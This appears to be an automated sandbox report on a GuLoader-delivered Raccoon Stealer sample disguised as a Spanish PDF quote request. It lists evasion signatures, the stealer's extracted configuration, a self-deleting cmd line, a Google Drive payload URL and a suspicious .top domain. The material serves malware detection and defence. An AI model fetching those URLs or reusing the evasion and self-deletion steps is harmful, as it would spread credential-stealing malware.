Play interactive tour

Edit tour

Analysis Report SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Overview

General Information

Sample Name:	SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
Analysis ID:	384212
MD5:	ac6576aa4888bbbb8bd2598e75f8b6d1
SHA1:	e61899b32566e203023dc8947c5d9d27b527af97
SHA256:	7c90ae17ff566ca8b5fef5903dab4f0a0c4382354ffe1ba9e4285bcec735fa9f
Tags:	exeGuLoader
Infos:
Most interesting Screenshot:

Detection

GuLoader Raccoon

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for domain / URL

Yara detected GuLoader

Yara detected Raccoon Stealer

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Contains functionality to hide a thread from the debugger

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Hides threads from debuggers

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file access)

Yara detected VB6 Downloader Generic

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Is looking for software installed on the system

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe (PID: 1688 cmdline: 'C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe' MD5: AC6576AA4888BBBB8BD2598E75F8B6D1)

SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe (PID: 4516 cmdline: 'C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe' MD5: AC6576AA4888BBBB8BD2598E75F8B6D1)

cmd.exe (PID: 6740 cmdline: cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q 'C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 6776 cmdline: timeout /T 10 /NOBREAK MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

cleanup

Malware Configuration

Threatname: Raccoon Stealer

{"Config: ": ["00000000 -> Raccoon | 1.7.3", "Build compile date: Sat Feb 27 21:25:06 2021", "Launched at: 2021.04.09 - 01:46:41 GMT", "Bot_ID: D06ED635-68F6-4E9A-955C-4899F5F57B9A_user", "Running on a desktop", "-------------", "- Cookies: 1", "- Passwords: 0", "- Files: 0", "System Information:", "- System Language: English", "- System TimeZone: -8 hrs", "- IP: 185.32.222.8", "- Location: 47.431301, 8.562700 | Glattbrugg, Zurich, Switzerland (8152)", "- ComputerName: 123716", "- Username: user", "- Windows version: NT 10.0", "- Product name: Windows 10 Pro", "- System arch: x64", "- CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (4 cores)", "- RAM: 8191 MB (8125 MB used)", "- Screen resolution: 1280x1024", "- Display devices:", "0) Microsoft Basic Display Adapter", "-------------", "Installed Apps:", "Adobe Acrobat Reader DC (19.012.20035)", "Google Chrome (85.0.4183.121)", "Google Update Helper (1.3.35.451)", "Java 8 Update 211 (8.0.2110.12)", "Java Auto Updater (2.8.211.12)", "Update for Skype for Business 2016 (KB4484286) 32-Bit Edition", "-------------"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.313364575.0000000000561000.00000040.00000001.sdmp	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 4516	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 4516	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Process Memory Space: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 4516	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 1688	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 1688	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Click to see the 1 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: machineinfo.txt.2.dr.binstr

Malware Configuration Extractor: Raccoon Stealer {"Config: ": ["00000000 -> Raccoon | 1.7.3", "Build compile date: Sat Feb 27 21:25:06 2021", "Launched at: 2021.04.09 - 01:46:41 GMT", "Bot_ID: D06ED635-68F6-4E9A-955C-4899F5F57B9A_user", "Running on a desktop", "-------------", "- Cookies: 1", "- Passwords: 0", "- Files: 0", "System Information:", "- System Language: English", "- System TimeZone: -8 hrs", "- IP: 185.32.222.8", "- Location: 47.431301, 8.562700 | Glattbrugg, Zurich, Switzerland (8152)", "- ComputerName: 123716", "- Username: user", "- Windows version: NT 10.0", "- Product name: Windows 10 Pro", "- System arch: x64", "- CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (4 cores)", "- RAM: 8191 MB (8125 MB used)", "- Screen resolution: 1280x1024", "- Display devices:", "0) Microsoft Basic Display Adapter", "-------------", "Installed Apps:", "Adobe Acrobat Reader DC (19.012.20035)", "Google Chrome (85.0.4183.121)", "Google Update Helper (1.3.35.451)", "Java 8 Update 211 (8.0.2110.12)", "Java Auto Updater (2.8.211.12)", "Update for Skype for Business 2016 (KB4484286) 32-Bit Edition", "-------------"]}

Multi AV Scanner detection for domain / URL

Show sources

Source: telete.in

Virustotal: Detection: 11%

Perma Link

Yara detected Raccoon Stealer

Show sources

Source: Yara match

File source: Process Memory Space: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 4516, type: MEMORY

Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: unknown	HTTPS traffic detected: 172.217.168.33:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.201.225.248:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.230.68.40:443 -> 192.168.2.5:49727 version: TLS 1.2

Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: freebl3.dll.2.dr
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: api-ms-win-crt-locale-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\gfx\angle\targets\libEGL\libEGL.pdb source: libEGL.dll.2.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: api-ms-win-crt-runtime-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\interfaces\ia2\IA2Marshal.pdb source: IA2Marshal.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libprldap\prldap60.pdb source: prldap60.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss3.pdb source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317531184.000000006D9A0000.00000002.00020000.sdmp, nss3.dll.2.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: api-ms-win-core-file-l1-2-0.dll.2.dr
Source:	Binary string: ucrtbase.pdb source: ucrtbase.dll.2.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: api-ms-win-core-memory-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: api-ms-win-core-sysinfo-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldap\ldap60.pdb source: ldap60.dll.2.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: api-ms-win-crt-filesystem-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: api-ms-win-crt-stdio-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: api-ms-win-core-heap-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: api-ms-win-core-util-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: api-ms-win-core-synch-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: api-ms-win-crt-environment-l1-1-0.dll.2.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\ckfw\builtins\builtins_nssckbi\nssckbi.pdb source: nssckbi.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: softokn3.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp, mozglue.dll.2.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: api-ms-win-core-processthreads-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: freebl3.dll.2.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: api-ms-win-crt-private-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: api-ms-win-crt-convert-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\ipc\win\handler\AccessibleHandler.pdb source: AccessibleHandler.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: nssdbm3.dll.2.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\mailnews\mapi\mapihook\build\MapiProxy.pdb source: MapiProxy.dll.2.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: api-ms-win-core-profile-l1-1-0.dll.2.dr
Source:	Binary string: ucrtbase.pdbUGP source: ucrtbase.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldap\ldap60.pdbUU source: ldap60.dll.2.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: api-ms-win-crt-time-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\ckfw\builtins\builtins_nssckbi\nssckbi.pdb66 source: nssckbi.dll.2.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: api-ms-win-core-handle-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: api-ms-win-core-synch-l1-2-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: softokn3.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\interfaces\ia2\IA2Marshal.pdb<< source: IA2Marshal.dll.2.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: api-ms-win-core-processenvironment-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp, mozglue.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\toolkit\library\dummydll\qipcap.pdb source: qipcap.dll.2.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: api-ms-win-crt-conio-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: api-ms-win-crt-math-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: api-ms-win-core-localization-l1-2-0.dll.2.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: api-ms-win-core-processthreads-l1-1-1.dll.2.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: api-ms-win-core-namedpipe-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: api-ms-win-crt-multibyte-l1-1-0.dll.2.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140.dll.2.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: api-ms-win-crt-utility-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\mailnews\mapi\mapiDLL\mozMapi32.pdb source: mozMapi32.dll.2.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: api-ms-win-core-rtlsupport-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: api-ms-win-core-timezone-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: api-ms-win-core-string-l1-1-0.dll.2.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140.dll.2.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: api-ms-win-core-file-l2-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: api-ms-win-crt-process-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: api-ms-win-core-libraryloader-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldif\ldif60.pdb source: ldif60.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\config\external\lgpllibs\lgpllibs.pdb source: lgpllibs.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\interfaces\msaa\AccessibleMarshal.pdb source: AccessibleMarshal.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: nssdbm3.dll.2.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: api-ms-win-core-interlocked-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\toolkit\crashreporter\injector\breakpadinjector.pdb source: breakpadinjector.dll.2.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: api-ms-win-crt-heap-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: api-ms-win-crt-string-l1-1-0.dll.2.dr

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior

Source: Joe Sandbox View

IP Address: 195.201.225.248 195.201.225.248

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View	JA3 fingerprint: ce5f3254611a8c095a3d821d44539877
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS traffic detected: queries for: doc-0o-7g-docs.googleusercontent.com

Source: nss3.dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://cps.chambersign.org/cps/chambersignroot.html0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://crl.chambersign.org/chambersignroot.crl0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: nssckbi.dll.2.dr	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: nss3.dll.2.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: nss3.dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: nssckbi.dll.2.dr	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignCA.crl0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://ocsp.accv.es0
Source: nss3.dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.2.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://policy.camerfirma.com0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://repository.swisssign.com/0
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.313628670.000000000090E000.00000004.00000020.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: nss3.dll.2.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: nss3.dll.2.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: nss3.dll.2.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: nssckbi.dll.2.dr	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: nssckbi.dll.2.dr	String found in binary or memory: http://www.accv.es00
Source: nssckbi.dll.2.dr	String found in binary or memory: http://www.cert.fnmt.es/dpcs/0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://www.certicamara.com/dpc/0Z
Source: nssckbi.dll.2.dr	String found in binary or memory: http://www.certplus.com/CRL/class2.crl0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://www.chambersign.org1
Source: nssckbi.dll.2.dr	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: mozglue.dll.2.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: nss3.dll.2.dr	String found in binary or memory: http://www.mozilla.com0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://www.pkioverheid.nl/policies/root-policy-G20
Source: nssckbi.dll.2.dr	String found in binary or memory: http://www.quovadis.bm0
Source: nssckbi.dll.2.dr	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: sqlite3.dll.2.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: nssckbi.dll.2.dr	String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.313364575.0000000000561000.00000040.00000001.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1sutNyIkGC4qW-TBVnnvzM8UZ9thch0vZ
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: nssckbi.dll.2.dr	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: nssckbi.dll.2.dr	String found in binary or memory: https://repository.luxtrust.lu0
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.313628670.000000000090E000.00000004.00000020.sdmp	String found in binary or memory: https://shehootastayonwhatshelirned.top/
Source: nssckbi.dll.2.dr	String found in binary or memory: https://www.catcert.net/verarrel
Source: nssckbi.dll.2.dr	String found in binary or memory: https://www.catcert.net/verarrel05
Source: nss3.dll.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.313628670.000000000090E000.00000004.00000020.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/favicons/favicon-16x16.png
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 172.217.168.33:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.201.225.248:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.230.68.40:443 -> 192.168.2.5:49727 version: TLS 1.2

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Code function: 0_2_0041112C OpenClipboard,

0_2_0041112C

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match

File source: Process Memory Space: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 4516, type: MEMORY

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F0405 EnumWindows,NtSetInformationThread,	0_2_020F0405
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F4E3B NtProtectVirtualMemory,	0_2_020F4E3B
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F524D NtSetInformationThread,NtResumeThread,	0_2_020F524D
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F1E97 NtWriteVirtualMemory,	0_2_020F1E97
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F04EB NtSetInformationThread,	0_2_020F04EB
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F11BB NtSetInformationThread,	0_2_020F11BB
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F4DD5 NtProtectVirtualMemory,	0_2_020F4DD5

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Code function: 0_2_004016BC EntryPoint,#100,ExitWindowsEx,

0_2_004016BC

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 2_2_6D86BD8F	2_2_6D86BD8F
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 2_2_6D875F1F	2_2_6D875F1F
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 2_2_6D870229	2_2_6D870229

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Code function: String function: 6D8690E5 appears 41 times

Source: sqlite3.dll.2.dr

Static PE information: Number of sections : 18 > 10

Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

